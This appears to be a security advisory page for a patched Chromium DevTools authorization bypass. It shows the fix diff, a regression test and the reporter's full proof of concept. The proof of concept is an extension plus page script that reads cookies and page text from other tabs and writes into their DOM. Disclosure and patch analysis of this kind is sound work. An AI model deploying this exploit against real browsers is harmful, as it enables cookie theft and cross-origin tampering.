Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in DevTools
DescriptionInappropriate implementation in DevTools
ComponentDevTools
Bug ClassLogic Error
Tracker485287859
Fix commit111ecbc657c4 (chromium/src) +13/-3
CISA KEVNot listed
CreditedM. Fauzan Wijaya (Gh05t666nero)
Disclosed2026-02-23

Changed Functions

FunctionChangeNotes
if
content/browser/devtools/protocol/target_handler.cc
modified

Files Changed

  • content/browser/devtools/protocol/target_handler.cc
  • third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
From 111ecbc657c45da1115a6bb97157721e11cbb82c Mon Sep 17 00:00:00 2001
From: Alex Rudenko <alexrudenko@chromium.org>
Date: Wed, 18 Feb 2026 01:59:58 -0800
Subject: [PATCH] Fix missing returns in target_handler

Fixed: 485287859
Change-Id: I7f3782719e60bd4d2792c9e8703c967e75d22469
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7585522
Commit-Queue: Philip Pfaffe <pfaffe@chromium.org>
Auto-Submit: Alex Rudenko <alexrudenko@chromium.org>
Commit-Queue: Alex Rudenko <alexrudenko@chromium.org>
Reviewed-by: Philip Pfaffe <pfaffe@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1586296}
---

diff --git a/content/browser/devtools/protocol/target_handler.cc b/content/browser/devtools/protocol/target_handler.cc
index 8c491e4..18f066a 100644
--- a/content/browser/devtools/protocol/target_handler.cc
+++ b/content/browser/devtools/protocol/target_handler.cc
@@ -1257,21 +1257,25 @@
     std::unique_ptr<ExposeDevToolsProtocolCallback> callback) {
   if (access_mode_ != AccessMode::kBrowser) {
     callback->sendFailure(Response::InvalidParams(kNotAllowedError));
+    return;
   }
   scoped_refptr<DevToolsAgentHost> agent_host =
       DevToolsAgentHost::GetForId(target_id);
   if (!agent_host) {
     callback->sendFailure(Response::InvalidParams(kTargetNotFound));
+    return;
   }
 
   if (BrowserToPageConnector::GetInstanceMap()[agent_host.get()]) {
     callback->sendFailure(Response::ServerError(base::StringPrintf(
         "Target with id %s is already granted remote debugging bindings.",
         target_id.c_str())));
+    return;
   }
   if (!agent_host->GetWebContents()) {
     callback->sendFailure(Response::ServerError(
         "RemoteDebuggingBinding can be granted only to page targets"));
+    return;
   }
 
   BrowserConnectorHostClientPermissions permissions;
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
 (async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
-  const {page, session, dp} = await testRunner.startBlank(
+  const {page, session} = await testRunner.startBlank(
       'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
-  await dp.Target.exposeDevToolsProtocol(
-      {targetId: page._targetId, bindingName: 'cdp'});
 
+  const browserSession = await testRunner.attachFullBrowserSession();
+  const bp = browserSession.protocol;
+
+  await bp.Target.exposeDevToolsProtocol(
+      {targetId: page.targetId(), bindingName: 'cdp'});
+
+  const dp = session.protocol;
   await dp.Runtime.enable();
+  await dp.Page.enable();
   dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
   const contextFoo =
       (await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
index 5a1362ae..f3100a3 100644
--- a/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/target/target-expose-devtools-protocol-execution-context.js
@@ -1,10 +1,16 @@
 (async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
-  const {page, session, dp} = await testRunner.startBlank(
+  const {page, session} = await testRunner.startBlank(
       'Verify that Target.exposeDevToolsProtocol scoped to the default execution context.');
-  await dp.Target.exposeDevToolsProtocol(
-      {targetId: page._targetId, bindingName: 'cdp'});
 
+  const browserSession = await testRunner.attachFullBrowserSession();
+  const bp = browserSession.protocol;
+
+  await bp.Target.exposeDevToolsProtocol(
+      {targetId: page.targetId(), bindingName: 'cdp'});
+
+  const dp = session.protocol;
   await dp.Runtime.enable();
+  await dp.Page.enable();
   dp.Page.createIsolatedWorld({frameId: page._targetId, worldName: 'foo'});
   const contextFoo =
       (await dp.Runtime.onceExecutionContextCreated()).params.context.id;
Loading diff…

Original Bug Report

reported by oj...@gmail.com

Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return


Report description

Authorization Bypass in Target.exposeDevToolsProtocol via Missing Early Return


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://github.com/chromium/chromium


The problem

Please describe the technical details of the vulnerability

Summary

When an untrusted chrome.debugger client calls Target.exposeDevToolsProtocol, the API returns Not allowed but does not exit. Due to missing return statements after sendFailure(...), execution falls through and creates BrowserToPageConnector, injecting a window.cdp bridge into the page with browser-level CDP access.

Test Environment

  • Verification date: 2026-02-18
  • Chrome version: 144.0.7559.109 (Linux)
  • Source reference commit: 88547700c7111c05932d805609d48be9e92a4f87

PoC Setup

mkdir -p poc/ext poc/page && cd poc

cat > ext/manifest.json <<'EOF'
{
  "manifest_version": 3, "name": "PoC", "version": "1.0",
  "permissions": ["debugger", "activeTab"],
  "background": { "service_worker": "background.js" },
  "action": { "default_title": "Trigger" }
}
EOF

cat > ext/background.js <<'EOF'
chrome.action.onClicked.addListener(async (tab) => {
  try {
    await chrome.debugger.attach({ tabId: tab.id }, '1.3');
    const { targetInfo } = await chrome.debugger.sendCommand(
      { tabId: tab.id }, 'Target.getTargetInfo');
    // sendFailure("Not allowed") fires but has no return.
    // BrowserToPageConnector is created anyway.
    try {
      await chrome.debugger.sendCommand({ tabId: tab.id },
        'Target.exposeDevToolsProtocol',
        { targetId: targetInfo.targetId, bindingName: 'cdp' });
    } catch (_) {}
    await chrome.debugger.detach({ tabId: tab.id });
  } catch (e) {
    try { await chrome.debugger.detach({ tabId: tab.id }); } catch (_) {}
  }
});
EOF

cat > page/index.html <<'EOF'
<!doctype html>
<html><head><meta charset="utf-8"><title>PoC</title>
<style>
body { font: 13px/1.6 monospace; background: #111; color: #999; padding: 24px }
.g { color: #5a5 } .r { color: #a55 } .w { color: #ddd } .d { color: #555 }
.data { border-left: 2px solid #a80; padding: 6px 14px; margin: 4px 0 4px 12px;
  color: #ca5; background: #1a1400; white-space: pre-wrap; word-break: break-all }
</style></head><body>
<b>Target.exposeDevToolsProtocol - missing return after sendFailure</b><br>
<small style="color:#555">browser-level CDP from page JS via window.cdp</small>
<p id="wait">click the extension icon on this tab to trigger</p>
<div id="out"></div>
<script>
(function() {
  var out = document.getElementById('out'), wait = document.getElementById('wait');
  function log(s, c) {
    var e = document.createElement('div');
    if (c) e.className = c; e.textContent = s; out.appendChild(e);
  }
  function data(s) {
    var e = document.createElement('pre');
    e.className = 'data'; e.textContent = s; out.appendChild(e);
  }
  (function poll() { if (!window.cdp) return setTimeout(poll, 400); wait.hidden = true; run() })();

  function run() {
    var here = location.href, session, seq = 0;
    cdp.onmessage = function(raw) {
      var m; try { m = JSON.parse(raw) } catch(e) { return }
      if (m.method === 'Target.receivedMessageFromTarget') {
        try { onVictim(JSON.parse(m.params.message)) } catch(e) {} return;
      }
      if (m.id === 1 && m.result) onTargets(m.result.targetInfos || []);
      if (m.id === 2 && m.result) onAttach(m.result);
      if (m.id <= 2 && m.error) log('error: ' + m.error.message, 'r');
    };
    log('window.cdp binding detected', 'g'); log('');
    log('Target.getTargets', 'w');
    cdp.send(JSON.stringify({ id: 1, method: 'Target.getTargets', params: {} }));

    function onTargets(list) {
      list.forEach(function(t) { log('  ' + t.type + '  ' + t.url, 'd') }); log('');
      var v = list.find(function(t) {
        return t.type === 'page' && t.url !== here && !/^(devtools|chrome|about):/.test(t.url);
      });
      if (!v) return log('no cross-origin tab. open another tab and re-trigger.', 'r');
      log('Target.attachToTarget  ' + v.url, 'w');
      cdp.send(JSON.stringify({ id: 2, method: 'Target.attachToTarget',
        params: { targetId: v.targetId, flatten: false } }));
    }
    function onAttach(res) {
      if (!res.sessionId) return log('attach failed', 'r');
      session = res.sessionId;
      log('  session ' + session.substring(0, 20) + '...', 'g'); log('');
      log('Runtime.evaluate in victim (read)', 'w');
      evalVictim(101, 'JSON.stringify({u:location.href,t:document.title,c:document.cookie,' +
        'b:document.body.innerText.substring(0,500)})');
    }
    function onVictim(m) {
      if (m.id === 101 && m.result && m.result.result) {
        try {
          var d = JSON.parse(m.result.result.value);
          log('  stolen from ' + d.u, 'g');
          data('title:   ' + d.t + '\ncookie:  ' + (d.c || '(none)') +
            '\ncontent: ' + d.b.substring(0, 300));
        } catch(e) { log('  raw: ' + m.result.result.value, 'g') }
        log(''); log('Runtime.evaluate in victim (inject DOM)', 'w');
        evalVictim(102, 'var b=document.createElement("div");' +
          'b.setAttribute("style","position:fixed;top:0;left:0;right:0;z-index:2147483647;' +
          'padding:14px 20px;background:#b00;color:#fff;font:bold 14px/1 monospace;text-align:center");' +
          'b.textContent="Cross-origin write via CDP bypass";' +
          'document.documentElement.prepend(b);"injected"');
      }
      if (m.id === 102 && m.result) {
        log('  victim DOM modified', 'g'); log('');
        log('done. switch to the victim tab to see the red banner.', 'w');
      }
      if (m.error) log('  victim: ' + m.error.message, 'r');
    }
    function evalVictim(id, expr) {
      cdp.send(JSON.stringify({ id: ++seq + 10, method: 'Target.sendMessageToTarget',
        params: { sessionId: session, message: JSON.stringify({
          id: id, method: 'Runtime.evaluate', params: { expression: expr } }) } }));
    }
  }
})();
</script></body></html>
EOF

Reproduction Steps

1. Create files and start server

# Run the setup block above, then:
python3 -m http.server 8000 --directory page

2. Launch Chrome

Open a second terminal:

google-chrome \
  --user-data-dir="$(mktemp -d)" \
  --no-first-run \
  --no-default-browser-check \
  "http://127.0.0.1:8000/index.html"

3. Load extension

  1. Navigate to chrome://extensions.
  2. Enable Developer mode (toggle, top right).
  3. Click Load unpacked and select the ext/ directory.
  4. Return to the http://127.0.0.1:8000/index.html tab.

4. Open victim tab

Open a new tab and navigate to https://example.com.

5. Trigger

  1. Switch back to the PoC tab (127.0.0.1:8000).
  2. Click the extension icon in the toolbar.

6. Observe

On the PoC page:

  1. window.cdp binding detected confirms the bypass.
  2. Target.getTargets lists all browser tabs including the victim.
  3. stolen from https://example.com/ shows cross-origin content read (title, cookies, body text).
  4. victim DOM modified confirms cross-origin write.

Switch to the victim tab (example.com). A red banner reading “Cross-origin write via CDP bypass” is injected at the top of the page.

Actual vs Expected

Actual

  1. Target.exposeDevToolsProtocol returns Not allowed.
  2. BrowserToPageConnector is created anyway.
  3. window.cdp is injected with browser-level access.
  4. Cross-origin read and write demonstrated.

Expected

  1. Request is denied.
  2. Function returns immediately.
  3. No connector, no binding, no cross-origin access.

Add return; after each callback->sendFailure(...) in TargetHandler::ExposeDevToolsProtocol(...).

Source References

  1. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/browser/devtools/protocol/target_handler.cc
  2. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/content/public/browser/devtools_agent_host_client.cc
  3. https://github.com/chromium/chromium/blob/88547700c7111c05932d805609d48be9e92a4f87/chrome/browser/extensions/api/debugger/debugger_api.cc

Impact analysis

Impact

An extension with debugger permission can escalate from tab-scoped debugging to full browser-level CDP via page JavaScript.

Demonstrated capabilities after trigger:

  1. Read cross-origin page content (title, cookies, body text) from any tab.
  2. Write to cross-origin DOM (inject arbitrary elements into any tab).
  3. Enumerate all browser targets beyond the original attachment scope.

The cause

What version of Chrome have you found the security issue in?

144.0.7559.109

No, it is not related to a crash.

Choose the type of vulnerability

Privilege Escalation

How would you like to be publicly acknowledged for your report?

M. Fauzan Wijaya (Gh05t666nero)

View on issue tracker